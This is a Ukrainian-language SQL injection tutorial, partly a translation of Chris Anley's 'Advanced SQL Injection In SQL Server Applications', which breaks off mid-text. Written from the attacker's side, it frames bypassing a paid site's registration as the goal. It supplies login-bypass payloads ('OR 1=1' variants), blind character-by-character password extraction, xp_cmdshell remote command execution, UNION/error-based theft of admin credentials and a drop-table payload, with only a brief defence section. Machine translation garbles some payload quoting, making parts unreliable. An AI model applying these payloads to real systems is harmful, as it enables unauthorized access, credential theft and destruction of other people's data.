Як нам отримати потрібні нам дані? Строковий входить параметр

SQL Injectionдосить хороша можливість для хакера отримати
доступ до сервера. І при невеликому зусиллі, він
все-таки його отримує 🙂

Coder inside

У наш час робота з базами даних підтримується
практично всіма мовами програмування, до таких можна віднести BASIC, C ++, Java, PERL, PHP, Assembler і навіть JavaScript! А називаються ці програми ніяк інакше як СУБД - системи управління базами даних. Найчастіше бази даних застосовуються для вирішення фінансових завдань,
бухгалтерії, організації кадрів, але своє застосування вони знайшли і в Інтернеті.

Бази даних часто використовуються для написання WEB-додатків. Їх використання найбільш доречно для зберігання призначених для користувача реєстраційних даних, ідентифікаторів сесій, організації пошуку, а також інших завдань вимагають обробки більшого
кількості даних. Для звернення до БД використовуються серверні технології: PHP, PERL, ASP, і т.д. Саме тут і починається найцікавіше. Коли на сервері
встановлені всі патчі, а брандмауер блокує всі порти крім 80-ого або коли потрібно аутентифікація для доступу до деякими даними, для злому хакер може використовувати SQL Injection. Суть даної атаки полягає в використанні помилки на стику WEB технологій і SQL. Справа в тому, що багато web сторінкидля обробки даних користувача, формують спеціальний SQLзапит до БД. Необережне використання даної методики може призвести до досить цікавих результатів ...

SQL Injection

Для пояснення атаки уявімо собі, що ти зайшов на сайт щоб завантажити одну дуже важливу ТУЛЗ і з жахом помічаєш, що зробити це може тільки зареєстрований користувач, а реєстрація, звичайно ж, коштує грошей 🙂 Останні зароблені віддавати не хочеться, а без програми ніяк! Саме час згадати про те як
звертатися до баз даних SQL. Наприклад, перевірка логіна і пароля, на PHP може мати наступний вигляд:

$ Result = mysql_db_query ($ db, "SELECT * FROM $ table WHERE user =" $ login "AND
pass = "$ password" ");
$ Num_rows = mysql_num_rows ($ result);
mysql_close ($ link);
if ($ num_rows! = 0)
{
// AUTHENTICATION OK
}
else
{
// AUTHENTICATION ERROR
}

Я додав два коментарі, «AUTHENTICATION OK» - замість нього повинен
йти код, який виповниться в тому випадку, якщо пароль і логін вірні. Інший «AUTHENTICATION ERROR» - місце де буде описаний код, що виконується в разі їх неправильності. Якщо заповнити форму, то запит вийде схожим на «http://www.server.com?login=user&password=31337», де www.server.com ім'я
сервера, до якого ми намагаємося підключитися. Ми знайшли що шукали, а по сему знову повернемося до роботи SQL. Отже, якщо ви для авторизації повинні вказати логін і пароль, то сформований SQLзапит матиме такий вигляд:

SELECT * FROM users WHERE login = "user" AND
password = "31337"

Це означає приблизно наступне: поверни мені все записи з бази даних users у яких логін «user», а пароль «31337». Якщо існує такий запис, значить користувач зареєстрований, ну а якщо ні, то ні ... Але за певних обставин все можна виправити. Мається на увазі ситуація, коли програма не перевіряє вміст переданих даних або перевіряє в повному обсязі, на наявність SQLінструкцій. В даному прикладі звіряються два поля login і password, але якщо в якості пароля вказати «31337 'AND email =' [Email protected]»(Без подвійних лапок), то запит вийде вже трохи іншим:

SELECT * FROM users WHERE login = "user" AND password = "31337" AND
email = " [Email protected]"

І в разі існування поля email ця умова також буде перевірено. Якщо згадати основи булевої алгебри, то спадає на думку що крім операції «і» існує і «або», а оскільки їх використання підтримується SQL, можна вище
описаним способом додати умова яке завжди повертає істину. Для здійснення даного, необхідно в якості логіна вказати «user 'OR 1 = 1«, в такому випадку запит набуде вигляду:

SELECT * FROM users WHERE login = "user" OR 1 = 1-- "AND
password = "31337"

Для початку слід знати, що «-» означає кінець запиту, і все після «-»
розглядатись не буде! Виходить, ніби ми зробили запит:

SELECT * FROM users WHERE login = "user" OR 1 = 1

Як ви бачите ми додали умова «1 = 1», значить критерієм перевірки буде «якщо логін 'user' або 1 = 1», але ж 1 завжди дорівнює 1 (винятком може бути тільки арифметика Дані Шеповалова :)). Щоб перевірити наші підозри
забиваємо в адресному рядку «http://www.server.com?login=user or 1 = 1 & password = 31337». Це призводить до того, що не грає ролі який саме логін ми вказали, а
тим більше пароль! І ми в матри ... ой, в системі і можемо спокійно качати то що нам необхідно.

Але це все в теорії. На практиці нам невідомо яким чином формується запит, які дані передаються і в якій послідовності. Тому необхідно вказувати «user 'OR 1 = 1» для всіх полів. Також слід перевірити форму відправки на наявність прихованих полів. В HTML вони описуються як « ». Якщо такі є, збережіть сторінку і поміняйте значення даних полів. Значення містяться в них часто забувають перевіряти на наявність SQL інструкцій. Але щоб все запрацювало слід в формі (тег «FORM») для параметра «ACTION» вказати повний шлях до скрипта, що обробляє цей запит.

Але не завжди також відомо як сформований запит,
минулий приклад можна було сформувати і наступними способами:

SELECT * FROM users WHERE (login = "user" AND password = "31337")
SELECT * FROM users WHERE login = "user" AND password = "31337"
SELECT * FROM users WHERE login = user AND password = 31337

В такому випадку можна спробувати наступні варіанти:

'OR 1 = 1
»OR 1 = 1
OR 1 = 1
'OR' a '=' a
»OR« a »=» a
') OR (' a '=' a
OR '1' = '1'

Все залежить від призначення скрипта, і від програміста. Оскільки кожній людині властиво все робити по своєму, то цілком можливо, що програміст вибере не найпростіший варіант. Тому не слід відразу
здаватися, якщо ви отримаєте відмову. необхідно
випробувати якомога більшу кількість варіантів ...

Password detection

Обходити авторизацію непогано, але дуже часто дірка яку ви використовуєте закривається, і все що було для вас є втрачається.
Цього і слід було очікувати, якщо програміст не дурень він
згодом прикриє всі лазівки. Від таких ситуацій можна легко позбутися заздалегідь подбавши про це. Правильним рішенням може стати вгадування пароля за допомогою
аналізу результатів аутентифікації. Для початку пробуємо вгадати пароль, для цього введемо місце нього:

'OR password>' a

Якщо нам дадуть відповідь, що авторизація пройдена, значить пароль
починається ні на букву «а», а на якусь із наступних за списком. Рухаємося далі і підставляємо
місце "a", такі «b», «c», «d», «e» ... і т.д. поки нам не дадуть, що пароль неправильний. Нехай цей процес зупинився на символі «x», в такому випадку створюються два варіанти розвитку ситуації, пароль знайдений або ж пароль начитається на цей символ. Щоб перевірити перший варіант пишемо місце пароля:

'OR password =' ​​x

і якщо пароль прийнятий і тебе впустили, значить ти вгадав пароль! Ну а немає, тоді слід підбирати вже другий символ,
точно так же, з початку. Для двох символів перевіряти
потрібно так само. Зрештою, ти отримаєш пароль, а логін шукаєш тим самим шляхом 🙂
У разі, якщо знайдені пароль і логін тебе не влаштовують, можеш відшукати і інші. Для цього необхідно почати перевірку з останнього символу знайденого пароля. Так, якщо пароль був «xxx» перевіряти необхідно існування пароля
"Xxy":

'OR password =' ​​xxx

щоб не упустити не один варіант!

MS SQL Server

MS SQL Server взагалі знахідка, якщо упущена необхідна фільтрація. Використовуючи уразливість SQL Injection можна виконувати
команди на віддаленому серверіза допомогою exec master..xp_cmdshell. Але щоб використовувати цю конструкцію
необхідно завершити операцію «SELECT». У SQL інструкції розділяються крапкою з комою. Тому підключиться до деякого IP по Telnet'у, необхідно місце пароля / логіна набрати:

"; Exec master..xp_cmdshell" telnet 192.168.0.1 "-

У MS SQL Server є, ще кілька цікавих особливостей, що дозволяють дізнатися логіни і паролі зберігаються в базі даних. Для цього висновок про помилки перенаправляється на довільний сервер і посредствам їх
аналізу можна дізнатися назву таблиці, полів і їх типів. Після чого можна запитом

'UNION SELECT TOP 1 login FROM users-

(Login ім'я поля містить логін, а users - ім'я таблиці,
полуучение в процесі аналізу помилок).

Відповідь може бути наступним:


Syntax error converting the nvarchar value "(! LANG: admin" to a column of data type int. !}
/default.asp, line 27

Тепер ми знаємо, що є користувач з ім'ям «admin». Тепер ми можемо отримати його пароль:

'UNION SELECT TOP 1 password FROM users where login =' admin'-

результат:

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
Syntax error converting the nvarchar value "(! LANG: xxx" to a column of data type int. !}
/tedault.asp, line 27

Тепер нам відомо, що є користувач «admin» з паролем «xxx». Цим можна сміливо
скористатися і залягання в систему 😉

Але для роботи з SQL існує ще багато інших функцій,
при роботі з базою даних можна також видаляти дані, модифікувати, вставляти свої і навіть маніпулювати файлами і працювати з реєстром.
Загалом, SQL Server - рулить 🙂

захист

Але цього всього природно можна уникнути. Для цього можна
скористатися фільтрами,
наданими виробниками. Можна знайти свої рішення, наприклад замінювати все одинарні
лапки подвійними (якщо для SQLзапиту ми користуєтеся одинарними), або навпаки. Можна дозволити тільки використання букв і з @ баки, в разі якщо потрібно ввести
електронна адреса. А ще в Перлі є дивовижна
функція 🙂 quote () в модулі DBI :: DBD, яка успішно робить ваш запит безпечним по відношенню до SQL. Рішень багато, необхідно просто ними
скористатися. Інакше навіщо тоді все це ...

Дана робота є перекладом частини роботи Chris Anley Advanced SQL Injection In SQL Server Applications. ()
У наступних статтях, при наявності вільного часу, даний переклад буде доведений до кінця.

P.S. Переклад буде цікавий більше в освітніх та історичних цілях.

Оригінальна назва статті: Просунуті SQL-ін'єкції в додатках, що використовують мову SQL.

анотація

У цій статті докладно розглядаються загальні способи "SQL-ін'єкції", для відомої платформи Microsoft Internet Information Server / Active Server Pages / SQL Server. У ній обговорюються різні варіанти використання ін'єкції SQL в додатках і пояснюються методи перевірки даних, а також захист баз даних, в яких можуть бути використані ін'єкції.

Вступ

Structured Query Language (SQL) - це структурована мова, що використовується для взаємодії з базами даних. Існує множетсво "діалектів" мови SQL, але сьогодні, в основному, всі вони побудовані на основі стандарту SQL-92, один з ранніх ANSI стандартів. Основний операційний блок SQL - запит (query), який є сукупністю виразів, які зазвичай повертають сукупність результатів (result set). SQL виразу можуть змінювати структуру баз даних (використовуючи вирази мов визначення даних - DLL) і управляти їх змістом (використовуючи вирази мов маніпулювання даними - DML). У даній роботі, ми розглянемо transact-SQL, що використовується в Microsoft SQL Server.

SQL-ін'єкції можливі в тому випадку, коли зловмисник може вставити свій SQL-код в запит (query), для управління даними, які відправляються в додаток.

Звичайне SQL вираз виглядає наступним чином:

Select id, forename, surname from authors

Цей вислів бере "id", "forename" і "surname" з колонок таблиці "authors" і повертає всі рядки в таблиці. Вибірка може бути обмежена, певним "автором", наприклад:

Select id, forename, surname from authors where forename = "john" and surname = "smith"

Необхідно відзначити, що в даному запиті рядкові літерали розділені одинарною лапкою. Передбачається, що "forename" і "surrname" є даними, які вводяться користувачем. В даному випадку зловмисник буде здатний внести власний SQL-запит, шляхом додавання власних значень в додаток. наприклад:

Forename: jo "hn Surname: smith

Тоді вираз прийме наступний вигляд:

Select id, forename, surname from authors where forename = "jo" hn "and surname =" smith "

Після того, як база даних спробує обробити подібний запит буде повернута наступна помилка:

Server: Msg 170, Level 15, State 1, Line 1 Line 1: Incorrect syntax near "hn".

Причина помилки буде полягати в тому, що введена одиночна лапка зіпсує структуру роздільників в запиті. Таким чином, база даних безуспішно спробує виконати команду "hn", яка призведе до помилки. У підсумку, якщо зловмисник введе в форму наступну інформацію:

Forename: jo "; drop table authors-- Surname:

Таблиця "authors" буде видалена, чому це станеться ми розглянемо пізніше.

Вам може здатися, що якщо ми будемо видаляти одиничні лапки з форми введення, а також "замінювати" їх, це може вирішити нашу проблему. І ви будете праві, однак існують деякі проблеми з використанням цього способу, як рішення даної задачі. По-перше, не вся вводиться користувачем інформація є "рядками" (strings). Якщо для користувача форма буде містити "id" автора, який зазвичай є числом. Наприклад, наш запит може виглядати наступним чином:

Select id, forename, surname from authors where id = 1234

В даному випадку зломщик безперешкодно зможе додати будь-який SQL-вираз в після численних даних. В інших різновидах SQL-запитів, використовуються різні разграничители. Наприклад, в Microsoft Jet DBMS розмежувачем буде символ "#". По-друге, "уникнення" ( "escaping") одиночних лапок зовсім не найпростіший спосіб захисту, як це може здатися спершу. Детальніше про це ми поговоримо далі.

Наведемо приклад на основі сторінки входу на основі Active Server Pages (ASP), яка за допомогою SQL отримує доступ до бази даних, щоб авторизувати користувача в будь-якому додатку.

Наведемо код сторінки, що містить форму входу, в яку вводяться ім'я користувача і пароль.

Login Page

Login

Username:
Password:

Нижче код (process_login.asp), що визначає коректність введених даних.